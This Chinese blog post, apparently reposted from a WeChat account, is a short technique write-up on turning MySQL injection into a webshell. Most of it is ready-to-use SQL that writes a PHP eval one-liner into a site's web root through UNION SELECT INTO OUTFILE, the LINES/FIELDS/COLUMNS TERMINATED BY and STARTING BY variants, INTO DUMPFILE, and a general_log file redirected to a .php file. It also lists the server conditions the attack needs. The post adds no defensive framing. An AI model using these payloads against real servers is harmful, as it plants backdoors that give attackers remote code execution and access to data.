MYSQL注入 GETSHELL

admin 2021年5月7日03:46:56评论69 views字数 1779阅读5分55秒阅读模式



MYSQL注入 GETSHELL


看到mysql写shell的语句有挺多的,学一下记录下来

0x01 利用条件

1
2
3
4
5
1.mysql用户为root
2.secure_file_priv=为空或者在网站根目录下(网站根目录为d:www,secure_file_priv=d:也可以)
3.有绝对路径
4.gpc关闭,这个应该是php的,会转义单引号,选择路径的时候一定需要单引号
5.有create,insert,select权限(一般root用户都有吧..感觉不用特意写出来)

0x02 写shell语句

1
show global variables like '%secure_file_priv%';	#查看可以写入的位置

网上说的有些版本以上默认为空,但是不同文章说法不一样,最后用phpstudy测试了一下

5.7.26为null,5.5.29为空

MYSQL注入 GETSHELL

这里用的是5.5.29版本默认为空,可以写入任何地方,当然目录需要有写的权限

UNION SELECT

最简单的联合查询写入

1
select * from users where id=-1 union select 1,2,'<?php eval($_POST['pass']); ?>' into outfile 'D:\phpstudy_pro\WWW\shell.php';

MYSQL注入 GETSHELL

写入的文件是这样的

lines terminated by

1
select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' lines terminated by '<?php eval($_POST['pass']); ?>';

注意这里一定要用一个可以查询到的值,不然写文件会为空

MYSQL注入 GETSHELL

lines starting by

1
select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' lines starting by '<?php eval($_POST['pass']); ?>';

MYSQL注入 GETSHELL

fields terminated by

1
select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' fields terminated by '<?php eval($_POST['pass']); ?>';

MYSQL注入 GETSHELL

COLUMNS terminated by

1
select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' COLUMNS terminated by '<?php eval($_POST['pass']); ?>';

MYSQL注入 GETSHELL

写入文件结果和上面的方法一样

0x03 outfile和dumpfile的区别

简单的说outfile写完会有脏数据,dumpfile可以做到没有脏数据,所以在写udf的时候是用dumpfile的

上面已经写过outfile了,下面直接演示dumpfile

1
select * from users where id=-1 union select '','','<?php eval($_POST['pass']); ?>' into dumpfile 'D:\phpstudy_pro\WWW\shell.php';

MYSQL注入 GETSHELL

1
select * from users where id=1 union select 1,2,'<?php eval($_POST['pass']); ?>' into dumpfile 'D:\phpstudy_pro\WWW\shell.php';

MYSQL注入 GETSHELL

可以看到这个是带着数据的,里面有查询出来的数据和自己写的12,所以只要让查询为空,然后union select后面接着的数据为空就可以达到干净的文件的效果

0x04 日志getshell

1
2
3
show variables like '%general%';
set global general_log = on; #开启日志
set global general_log_file = 'D:\phpstudy_pro\WWW\shell.php'; #设置日志路径

MYSQL注入 GETSHELL

修改好之后是这样的

MYSQL注入 GETSHELL

然后执行语句

MYSQL注入 GETSHELL

查看日志文件

MYSQL注入 GETSHELL

已经将webshell写入网站根目录了

0x05 总结

目录可写都好说,目录不可写很多方法就不行了

MYSQL注入 GETSHELL


本文始发于微信公众号(连接世界的暗影):MYSQL注入 GETSHELL

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日03:46:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MYSQL注入 GETSHELLhttps://cn-sec.com/archives/367883.html

发表评论

匿名网友 填写信息